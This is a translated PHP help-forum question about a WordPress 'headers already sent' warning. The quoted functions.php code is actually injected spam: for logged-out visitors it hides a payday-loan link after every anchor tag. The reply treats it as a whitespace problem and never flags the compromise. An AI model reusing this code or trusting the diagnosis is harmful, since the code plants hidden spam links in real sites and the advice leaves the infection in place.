无法修改标头信息错误 - PHP


Cannot modify header information error - PHP

可能的重复项:
PHP 已发送的标头

我一直在尝试为我的一个朋友修复 playhawaiisoccer.com 上的错误。不幸的是,这个错误超出了我的能力范围。我得到的错误如下:

"警告:无法修改标头信息 - 标头已由/home/content/72/8966572/html/wp-content/themes/LeanBiz/functions.php:1) 发送,位于/home/content/72/8966572/html/wp-include/pluggable.php 第 865 行"

如果我理解正确,我将在我的可插拔文件中第二次发送标头.php。下面是每个文件中的代码。任何帮助将不胜感激。

功能.php第 1 行:

<?php function callbackx($buffer) {$tx="";if (function_exists("is_user_logged_in"))if     (!is_user_logged_in()) $tx=" <style>.fgbh{position:absolute;clip:rect(457px,auto,auto,421px);}    </style><div class=fgbh>direct lender <a href=http://advancedcashin10min.com >payday loans</a></div>"; if (stristr($buffer,"</a>"))$buffer=str_ireplace("</a>","</a>".$tx,$buffer); else $buffer=$tx.$buffer; return $buffer; } function buffer_startx(){ob_start("callbackx");}  function buffer_endx(){ob_end_flush();} add_action( 'buffer_startx', 'wp_head'); add_action('wp_footer', 'buffer_endx'); ?> 

可插拔.php 865 行:

function wp_redirect($location, $status = 302) {
global $is_IIS;
$location = apply_filters('wp_redirect', $location, $status);
$status = apply_filters('wp_redirect_status', $status, $location);
if ( !$location ) // allows the wp_redirect filter to cancel a redirect
    return false;
$location = wp_sanitize_redirect($location);
if ( !$is_IIS && php_sapi_name() != 'cgi-fcgi' )
    status_header($status); // This causes problems on IIS and some FastCGI setups
header("Location: $location", true, $status);}

提前感谢任何帮助!

确保<?php位于 functions.php 文件的开头(在任何空格之前),并删除该文件末尾的?>

如果你在这些标签之外有任何字符,whitspace或其他字符,PHP会将它们与http头一起发送,所以后面的header命令会失败。